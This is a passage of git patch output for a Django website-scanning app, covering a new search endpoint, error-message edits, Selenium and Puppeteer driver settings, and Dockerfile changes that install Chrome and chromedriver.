@@ -230,7 +230,7 @@ def get_data(self):
                     self.process_data(stdout_json=raw_data)
                 
                 # API after first attempt
-                if attempts > 1:
+                if attempts >= 1:
                     raw_data = self.yellowlab_api()
                     self.process_data(stdout_json=raw_data)
 

From 392273c6e3b79526b220251d19bc9990ac86fe71 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 11:48:06 -0600
Subject: [PATCH 366/752] adding search endpoint

---
 app/api/v1/ops/services.py | 65 ++++++++++++++++++++++++++++++++++++++
 app/api/v1/ops/urls.py     |  1 +
 app/api/v1/ops/views.py    | 11 +++++++
 3 files changed, 77 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index e549a1a9..df09ea8f 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2756,6 +2756,71 @@ def get_logs(request):
 
 
 
+def search_resources(request):
+    """
+    This method will search for any `Page` or `Site`
+    that is associated with the user's `Account` and
+    matches the query string.
+
+    Expects:
+        'query': <str> the query string
+    
+    Returns:
+        data -> [
+            {
+                'name': <str>,
+                'type': <str>,
+                'path': <str>,
+            }
+            ...
+        ]
+    """
+
+    # get data
+    query = request.query_params.get('query')
+    user = request.user
+    account = Member.objects.get(user=user).account
+    data = []
+
+    # search for sites
+    sites = Site.objects.filter(account=account).filter(
+        site_url__icontains=query
+    )
+
+    # search for pages
+    pages = Pages.objects.filter(account=account).filter(
+        page_url__icontains=query
+    )
+
+    # adding first 5 sites if present
+    i = 0
+    while i <= 5 and i <= (len(sites)-1):
+        data.append({
+            'name': str(sites[i].site_url),
+            'path': f'/site/{sites[i].id}',
+            'type': 'site',
+        })
+        i+=1
+    
+    # adding first 5 pages if present
+    i = 0
+    while i <= 5 and i <= (len(pages)-1):
+        data.append({
+            'name': str(pages[i].page_url),
+            'path': f'/page/{pages[i].id}',
+            'type': 'page',
+        })
+        i+=1
+        
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
+
+
+
 
 def migrate_site(request, delay=False):
     login_url = request.data.get('login_url', None)
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 0af2f170..0fc9a204 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -3,6 +3,7 @@
 
 
 urlpatterns = [
+    path('search', views.Search.as_view(), name='search'),
     path('site', views.Sites.as_view(), name='site'),
     path('site/<uuid:id>', views.SiteDetail.as_view(), name='site-detail'),
     path('site/<uuid:id>/crawl', views.SiteCrawl.as_view(), name='site-crawl'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index 860d3aa1..cb76ffa6 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -591,6 +591,17 @@ def get(self, request):
 
 
 
+class Search(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get',]
+
+    def get(self, request):
+        response = search_resources(request)
+        return response
+
+
+
+
 class Processes(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get']

From 3619ebc004de1bfd85db7e9d53380d46c85717fb Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 12:18:02 -0600
Subject: [PATCH 367/752] updated error messages

---
 app/api/v1/ops/services.py | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index df09ea8f..2fbde69f 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -84,24 +84,24 @@ def check_account(request=None, user=None, resource=None, site_id=None):
             current_page_count = Page.objects.filter(account=account, site__id=site_id).count()
             if current_page_count >= account.max_pages:
                 allowed = False
-                error = 'max pages reached, please upgrade plan'
+                error = 'max pages reached, please upgrade'
         # checking sites
         if resource == 'site':
             current_site_count = Site.objects.filter(account=account).count()
             if current_site_count >= account.max_sites:
                 allowed = False
-                error = 'max sites reached, please upgrade plan'
+                error = 'max sites reached, please upgrade'
         # checking schedules
         if resource == 'schedule':
             current_site_count = Schedule.objects.filter(account=account).count()
             if current_site_count >= account.max_schedules:
                 allowed = False
-                error = 'max schedules reached, please upgrade plan'
+                error = 'max schedules reached, please upgrade'
         # checking testcases
         if resource == 'testcase':
             if not account.testcases:
                 allowed = False
-                error = 'testcases not allowed, please upgrade plan'
+                error = 'testcases not allowed, please upgrade'
     
     # returning data
     data = {

From f250108e3a1604800d70f28d212692d1be172ce5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 12:37:35 -0600
Subject: [PATCH 368/752] fixed typo

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 2fbde69f..b3d64b14 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2788,7 +2788,7 @@ def search_resources(request):
     )
 
     # search for pages
-    pages = Pages.objects.filter(account=account).filter(
+    pages = Page.objects.filter(account=account).filter(
         page_url__icontains=query
     )
 

From 120a6646bef4539e2979d6b938ebe49d464e5e7a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 14:05:59 -0600
Subject: [PATCH 369/752] reduced size of returned results

---
 app/api/v1/ops/services.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index b3d64b14..67b986ea 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2794,7 +2794,7 @@ def search_resources(request):
 
     # adding first 5 sites if present
     i = 0
-    while i <= 5 and i <= (len(sites)-1):
+    while i <= 3 and i <= (len(sites)-1):
         data.append({
             'name': str(sites[i].site_url),
             'path': f'/site/{sites[i].id}',
@@ -2804,7 +2804,7 @@ def search_resources(request):
     
     # adding first 5 pages if present
     i = 0
-    while i <= 5 and i <= (len(pages)-1):
+    while i <= 4 and i <= (len(pages)-1):
         data.append({
             'name': str(pages[i].page_url),
             'path': f'/page/{pages[i].id}',

From 3c606227e3a27ece06939e1847c205e85220951a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 14:15:52 -0600
Subject: [PATCH 370/752] removed unnecessary deps

---
 Dockerfile | 11 -----------
 1 file changed, 11 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index aed2bb2e..46e32716 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -25,17 +25,6 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
     libfontconfig 
 
-# installing yellowlab-specific system deps
-RUN apt-get update && apt-get install -y libfreetype6 git  \ 
-    libatk-bridge2.0-0 gconf-service libasound2 make \ 
-    libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
-    libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
-    libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
-    libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 \ 
-    libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
-    libnss3 lsb-release libgbm1 xdg-utils wget nasm automake autoconf libtool \
-    -y --force-yes > /dev/null 2>&1
-
 # installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
     && npm install -g n \

From 96308504f1a0f37181ab700978660f7b936c8a68 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 17:06:32 -0600
Subject: [PATCH 371/752] updated for new YLT v3

---
 app/api/utils/reporter.py | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 5e129fd1..da2bb250 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -224,7 +224,7 @@ def get_cat_string(self, cat):
             string = 'Bad CSS'
         elif cat == 'jQuery':
             string = 'jQuery'
-        elif cat == 'requests':
+        elif cat == 'images':
             string = 'Requests'
         elif cat == 'pageWeight':
             string = 'Page Weight'
@@ -260,12 +260,8 @@ def get_audits(self, uri=str):
         Downloads teh JSON file from the passed uri
         and return the data as a python dict
         """
-        # uri = 'static/sites/' + uri.lstrip(f'{settings.AWS_S3_URL_PATH}')
-        # audits_raw = self.s3.get_object(Bucket=settings.AWS_STORAGE_BUCKET_NAME, Key=uri)['Body'].read().decode('utf-8')
         res = requests.get(uri)
         audits = res.json()
-        # audits = json.loads(audits_raw)
-
         return audits
 
 

From e1067f50468ded83ad16edcc246abcffc8ce22b8 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 17:09:01 -0600
Subject: [PATCH 372/752] updated reporter for YLT v3

---
 app/api/utils/reporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index da2bb250..6e637c4c 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -225,7 +225,7 @@ def get_cat_string(self, cat):
         elif cat == 'jQuery':
             string = 'jQuery'
         elif cat == 'images':
-            string = 'Requests'
+            string = 'Images'
         elif cat == 'pageWeight':
             string = 'Page Weight'
         elif cat == 'serverConfig':

From 3e6b57a60b601412a791def181cb0b1b4f36d996 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 14 Mar 2024 15:29:21 -0600
Subject: [PATCH 373/752] increased timeout

---
 app/api/utils/driver_s.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index c5524125..c32e9237 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -9,7 +9,7 @@ def driver_init(
         window_size='1920,1080', 
         device='desktop',
         script_timeout=30,
-        load_timeout=30,
+        load_timeout=120,
         wait_time=15, 
         pixel_ratio=1.0,
         scale_factor=0.5
@@ -49,7 +49,7 @@ def driver_init(
         options.add_experimental_option("mobileEmulation", mobile_emulation)
 
     driver = webdriver.Chrome(options=options)
-    # driver.set_page_load_timeout(load_timeout)
+    driver.set_page_load_timeout(load_timeout)
     # driver.set_script_timeout(script_timeout)
     # driver.implicitly_wait(wait_time)
 

From ff694cd4e84c95f15fbd649c7ccb47857dee6eab Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 14 Mar 2024 18:14:54 -0600
Subject: [PATCH 374/752] testing new configs

---
 app/api/utils/driver_p.py | 2 +-
 app/api/utils/driver_s.py | 8 ++++----
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index cedbf86e..895e9e4d 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -124,7 +124,7 @@ async def get_data(url, configs, *args, **options):
     
     userAgent = (
         "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
-        (KHTML, like Gecko) Chrome/99.0.4812.0 Safari/537.36"
+        (KHTML, like Gecko) Chrome/122.0.6261.119 Safari/537.36"
     )
 
     await page.setViewport(viewport)
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index c32e9237..58401a41 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -8,8 +8,8 @@
 def driver_init(
         window_size='1920,1080', 
         device='desktop',
-        script_timeout=30,
-        load_timeout=120,
+        script_timeout=300,
+        load_timeout=300,
         wait_time=15, 
         pixel_ratio=1.0,
         scale_factor=0.5
@@ -27,7 +27,7 @@ def driver_init(
         "deviceMetrics": { "width": int(sizes[0]), "height": int(sizes[1]), "pixelRatio": pixel_ratio },
         "userAgent": (
             "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
-            (KHTML, like Gecko) Chrome/99.0.4844.74 Mobile Safari/537.36"
+            (KHTML, like Gecko) Chrome/122.0.6261.119 Mobile Safari/537.36"
         ) 
     }
 
@@ -50,7 +50,7 @@ def driver_init(
 
     driver = webdriver.Chrome(options=options)
     driver.set_page_load_timeout(load_timeout)
-    # driver.set_script_timeout(script_timeout)
+    driver.set_script_timeout(script_timeout)
     # driver.implicitly_wait(wait_time)
 
     

From 12ef46009707a9ac7f5c1fd90d4b27068fa02da4 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 14 Mar 2024 18:32:12 -0600
Subject: [PATCH 375/752] testing new configuration

---
 app/api/utils/driver_s.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 58401a41..d506fb18 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -44,6 +44,7 @@ def driver_init(
     options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
     options.add_argument("--window-size=%s" % window_size) 
     options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
+    options.page_load_strategy = 'eager'
 
     if device == 'mobile':
         options.add_experimental_option("mobileEmulation", mobile_emulation)

From 1ca344f494d6658fa6366644bf5440aa2a400d26 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 09:58:42 -0600
Subject: [PATCH 376/752] removing --headless

---
 app/api/utils/driver_s.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index d506fb18..411ef296 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -38,7 +38,7 @@ def driver_init(
     options.add_argument("disable-blink-features=AutomationControlled")
     options.add_experimental_option('prefs',prefs)
     options.add_argument("start-maximized")
-    options.add_argument("--headless")
+    # options.add_argument("--headless")
     options.add_argument("--disable-dev-shm-usage")
     options.add_argument("ignore-certificate-errors")
     options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")

From 728bbf06f882d09176d0abc7d3e52e746445a72d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 10:15:44 -0600
Subject: [PATCH 377/752] starting celery as app user

---
 docker-compose.dev.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 0cf5c7c8..029e3764 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -53,7 +53,7 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "celery -A scanerr worker --beat --scheduler django --loglevel=info"
+      sh -c "celery -A scanerr worker --beat --scheduler django --loglevel=info --uid=app --gid=app"
     volumes:
       - ./app:/scanerr
     env_file:

From 7e20dccdcba5250ece1a9a6e53e3561b1624601a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 10:22:43 -0600
Subject: [PATCH 378/752] setting ownership of chromedriver

---
 Dockerfile | 1 +
 1 file changed, 1 insertion(+)

diff --git a/Dockerfile b/Dockerfile
index 46e32716..e23da7e6 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -59,3 +59,4 @@ WORKDIR /app
 # setting ownership
 RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium
+RUN chown -R app:app /usr/bin/chromedriver

From 8d1ea10bc69dd5d3a2d8e3f5f91b51227a0ec261 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 10:28:07 -0600
Subject: [PATCH 379/752] setting location of chromedriver

---
 app/api/utils/driver_s.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 411ef296..873aa409 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -31,7 +31,7 @@ def driver_init(
         ) 
     }
 
-    # chromedriver_path = os.environ.get("CHROMEDRIVER")
+    chromedriver_path = os.environ.get("CHROMEDRIVER")
     options = webdriver.ChromeOptions()
     options.binary_location = os.environ.get('CHROMIUM')
     options.add_argument("--no-sandbox")
@@ -49,7 +49,7 @@ def driver_init(
     if device == 'mobile':
         options.add_experimental_option("mobileEmulation", mobile_emulation)
 
-    driver = webdriver.Chrome(options=options)
+    driver = webdriver.Chrome(options=options, executable_path=chromedriver_path)
     driver.set_page_load_timeout(load_timeout)
     driver.set_script_timeout(script_timeout)
     # driver.implicitly_wait(wait_time)

From 39c8436055c83ff29c3dbe27be237174da079138 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 10:32:12 -0600
Subject: [PATCH 380/752] testing again

---
 Dockerfile                | 1 +
 app/api/utils/driver_s.py | 3 ++-
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index e23da7e6..18ca61fb 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -60,3 +60,4 @@ WORKDIR /app
 RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium
 RUN chown -R app:app /usr/bin/chromedriver
+RUN chmod +x chromedriver
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 873aa409..35a25c5c 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -49,7 +49,8 @@ def driver_init(
     if device == 'mobile':
         options.add_experimental_option("mobileEmulation", mobile_emulation)
 
-    driver = webdriver.Chrome(options=options, executable_path=chromedriver_path)
+    service = webdriver.ChromeService(executable_path=chromedriver_path)
+    driver = webdriver.Chrome(options=options, service=service)
     driver.set_page_load_timeout(load_timeout)
     driver.set_script_timeout(script_timeout)
     # driver.implicitly_wait(wait_time)

From 7f34d71361f66ad6fcd6946382a62615da933e3d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 10:34:42 -0600
Subject: [PATCH 381/752] fixed path

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 18ca61fb..32cf3c07 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -60,4 +60,4 @@ WORKDIR /app
 RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium
 RUN chown -R app:app /usr/bin/chromedriver
-RUN chmod +x chromedriver
+RUN chmod +x /usr/bin/chromedriver

From cbe18cd8bfa78f057032ba93890ba44bb5a97715 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 10:37:21 -0600
Subject: [PATCH 382/752] added back --headless

---
 app/api/utils/driver_s.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 35a25c5c..e50f03bf 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -38,7 +38,7 @@ def driver_init(
     options.add_argument("disable-blink-features=AutomationControlled")
     options.add_experimental_option('prefs',prefs)
     options.add_argument("start-maximized")
-    # options.add_argument("--headless")
+    options.add_argument("--headless")
     options.add_argument("--disable-dev-shm-usage")
     options.add_argument("ignore-certificate-errors")
     options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")

From b289973f290a156694470f406e84c91bf1438cd8 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 11:02:50 -0600
Subject: [PATCH 383/752] testing puppeteer JS

---
 Dockerfile                                   |  3 ++
 app/api/management/commands/driver_p_test.py |  4 ++-
 app/api/utils/driver_p.py                    | 28 ++++++++++++++--
 app/api/utils/puppeteer.js                   | 35 ++++++++++++++++++++
 4 files changed, 67 insertions(+), 3 deletions(-)
 create mode 100644 app/api/utils/puppeteer.js

diff --git a/Dockerfile b/Dockerfile
index 32cf3c07..097b941c 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -61,3 +61,6 @@ RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium
 RUN chown -R app:app /usr/bin/chromedriver
 RUN chmod +x /usr/bin/chromedriver
+
+# installing puppeteer
+RUN npm install -g puppeteer
\ No newline at end of file
diff --git a/app/api/management/commands/driver_p_test.py b/app/api/management/commands/driver_p_test.py
index c85d2705..4bbedb74 100644
--- a/app/api/management/commands/driver_p_test.py
+++ b/app/api/management/commands/driver_p_test.py
@@ -1,4 +1,4 @@
-from ...utils.driver_p import driver_test
+from ...utils.driver_p import driver_test, test_puppeteer
 from django.core.management.base import BaseCommand
 import asyncio
 
@@ -8,6 +8,8 @@ class Command(BaseCommand):
 
     def handle(self, *args, **options):
         asyncio.run(driver_test())
+        print('testing puppeteer JS')
+        test_puppeteer()
 
     
 
diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index 895e9e4d..510025a2 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -1,5 +1,7 @@
 from pyppeteer import launch
-import time, os, numpy, json, sys, datetime, asyncio
+from scanerr import settings
+import time, os, numpy, json, \
+sys, datetime, asyncio, subprocess
 
 
 
@@ -202,4 +204,26 @@ def record_error(error):
         'logs': logs,
     }
 
-    return data
\ No newline at end of file
+    return data
+
+
+
+
+def test_puppeteer():
+    # initiating subprocess for Puppeteer
+    js_file = os.path.join(settings.BASE_DIR, "api/utils//puppeteer.js")
+    proc = subprocess.Popen(
+        [
+            'node',
+            js_file,
+        ], 
+        stdout=subprocess.PIPE,
+        user='app',
+    )
+
+    # retrieving data from process
+    stdout_value = proc.communicate()[0]
+
+    # converting stdout str into Dict
+    stdout_json = json.loads(stdout_value)
+    return stdout_json
\ No newline at end of file
diff --git a/app/api/utils/puppeteer.js b/app/api/utils/puppeteer.js
new file mode 100644
index 00000000..be55fd17
--- /dev/null
+++ b/app/api/utils/puppeteer.js
@@ -0,0 +1,35 @@
+import puppeteer from 'puppeteer';
+
+(async () => {
+  // Launch the browser and open a new blank page
+  const browser = await puppeteer.launch();
+  const page = await browser.newPage();
+
+  // Navigate the page to a URL
+  await page.goto('https://developer.chrome.com/');
+
+  // Set screen size
+  await page.setViewport({width: 1080, height: 1024});
+
+  // Type into search box
+  await page.type('.devsite-search-field', 'automate beyond recorder');
+
+  // Wait and click on first result
+  const searchResultSelector = '.devsite-result-item-link';
+  await page.waitForSelector(searchResultSelector);
+  await page.click(searchResultSelector);
+
+  // Locate the full title with a unique string
+  const textSelector = await page.waitForSelector(
+    'text/Customize and automate'
+  );
+  const fullTitle = await textSelector?.evaluate(el => el.textContent);
+
+  // Print the full title
+  console.log('The title of this blog post is "%s".', fullTitle);
+
+  await browser.close();
+
+  return fullTitle
+  
+})();
\ No newline at end of file

From 667b60f5299a0862c2d778069fbbed39b6368f9c Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 11:08:21 -0600
Subject: [PATCH 384/752] testing

---
 app/api/utils/driver_p.py                     | 2 +-
 app/api/utils/{puppeteer.js => puppeteer.mjs} | 0
 2 files changed, 1 insertion(+), 1 deletion(-)
 rename app/api/utils/{puppeteer.js => puppeteer.mjs} (100%)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index 510025a2..37f53057 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -211,7 +211,7 @@ def record_error(error):
 
 def test_puppeteer():
     # initiating subprocess for Puppeteer
-    js_file = os.path.join(settings.BASE_DIR, "api/utils//puppeteer.js")
+    js_file = os.path.join(settings.BASE_DIR, "api/utils//puppeteer.mjs")
     proc = subprocess.Popen(
         [
             'node',
diff --git a/app/api/utils/puppeteer.js b/app/api/utils/puppeteer.mjs
similarity index 100%
rename from app/api/utils/puppeteer.js
rename to app/api/utils/puppeteer.mjs

From 48bb8990d99ac549695a7c658988515c77dd9ff5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 11:08:50 -0600
Subject: [PATCH 385/752] fixed path

---
 app/api/utils/driver_p.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index 37f53057..d8f3bfc4 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -211,7 +211,7 @@ def record_error(error):
 
 def test_puppeteer():
     # initiating subprocess for Puppeteer
-    js_file = os.path.join(settings.BASE_DIR, "api/utils//puppeteer.mjs")
+    js_file = os.path.join(settings.BASE_DIR, "api/utils/puppeteer.mjs")
     proc = subprocess.Popen(
         [
             'node',

From 06342a6a5d51f9ebc708e94aa04e72c82c95514e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 11:20:47 -0600
Subject: [PATCH 386/752] testing

---
 app/api/utils/puppeteer.mjs | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/puppeteer.mjs b/app/api/utils/puppeteer.mjs
index be55fd17..5802ceb4 100644
--- a/app/api/utils/puppeteer.mjs
+++ b/app/api/utils/puppeteer.mjs
@@ -1,4 +1,4 @@
-import puppeteer from 'puppeteer';
+import puppeteer from '/usr/local/bin/puppeteer';
 
 (async () => {
   // Launch the browser and open a new blank page

From 4df07dff0155fcc62249a0efa5461ba3c5cdc979 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 11:32:57 -0600
Subject: [PATCH 387/752] testing with google-chrome

---
 Dockerfile                                   | 20 ++++++++++++++++++--
 app/api/management/commands/driver_p_test.py |  4 +---
 app/api/utils/driver_p.py                    |  2 +-
 app/api/utils/driver_s.py                    |  2 +-
 4 files changed, 21 insertions(+), 7 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 097b941c..4b81db14 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -62,5 +62,21 @@ RUN chown -R app:app /usr/bin/chromium
 RUN chown -R app:app /usr/bin/chromedriver
 RUN chmod +x /usr/bin/chromedriver
 
-# installing puppeteer
-RUN npm install -g puppeteer
\ No newline at end of file
+
+
+# installing google-chrome-stable 
+RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
+    wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
+    gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
+    chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
+    echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
+    apt-get update -y; \
+    apt-get install -y google-chrome-stable;
+
+# installing chromedriver
+RUN CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE); \
+    wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROMEDRIVER_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
+    unzip ~/chromedriver-linux64.zip -d ~/ && \
+    rm ~/chromedriver-linux64.zip && \
+    mv -f ~/chromedriver-linux64/chromedriver /usr/bin/chromedriver && \
+    rm -rf ~/chromedriver-linux64
\ No newline at end of file
diff --git a/app/api/management/commands/driver_p_test.py b/app/api/management/commands/driver_p_test.py
index 4bbedb74..c85d2705 100644
--- a/app/api/management/commands/driver_p_test.py
+++ b/app/api/management/commands/driver_p_test.py
@@ -1,4 +1,4 @@
-from ...utils.driver_p import driver_test, test_puppeteer
+from ...utils.driver_p import driver_test
 from django.core.management.base import BaseCommand
 import asyncio
 
@@ -8,8 +8,6 @@ class Command(BaseCommand):
 
     def handle(self, *args, **options):
         asyncio.run(driver_test())
-        print('testing puppeteer JS')
-        test_puppeteer()
 
     
 
diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index d8f3bfc4..a7192637 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -13,7 +13,7 @@ async def driver_init(
     sizes = window_size.split(',')
 
     options = {
-        'executablePath': os.environ.get('CHROMIUM'),
+        'executablePath': os.environ.get('GOOGLECHROME'),
         'args': [
             '--no-sandbox', 
             '--disable-dev-shm-usage',
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index e50f03bf..4596afd0 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -33,7 +33,7 @@ def driver_init(
 
     chromedriver_path = os.environ.get("CHROMEDRIVER")
     options = webdriver.ChromeOptions()
-    options.binary_location = os.environ.get('CHROMIUM')
+    options.binary_location = os.environ.get('GOOGLECHROME')
     options.add_argument("--no-sandbox")
     options.add_argument("disable-blink-features=AutomationControlled")
     options.add_experimental_option('prefs',prefs)

From 3dee051f9e56e24384bbd56bfbdbd7074171e6c0 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 11:41:17 -0600
Subject: [PATCH 388/752] page load strategy = 'none'

---
 app/api/utils/driver_s.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 4596afd0..080cd445 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
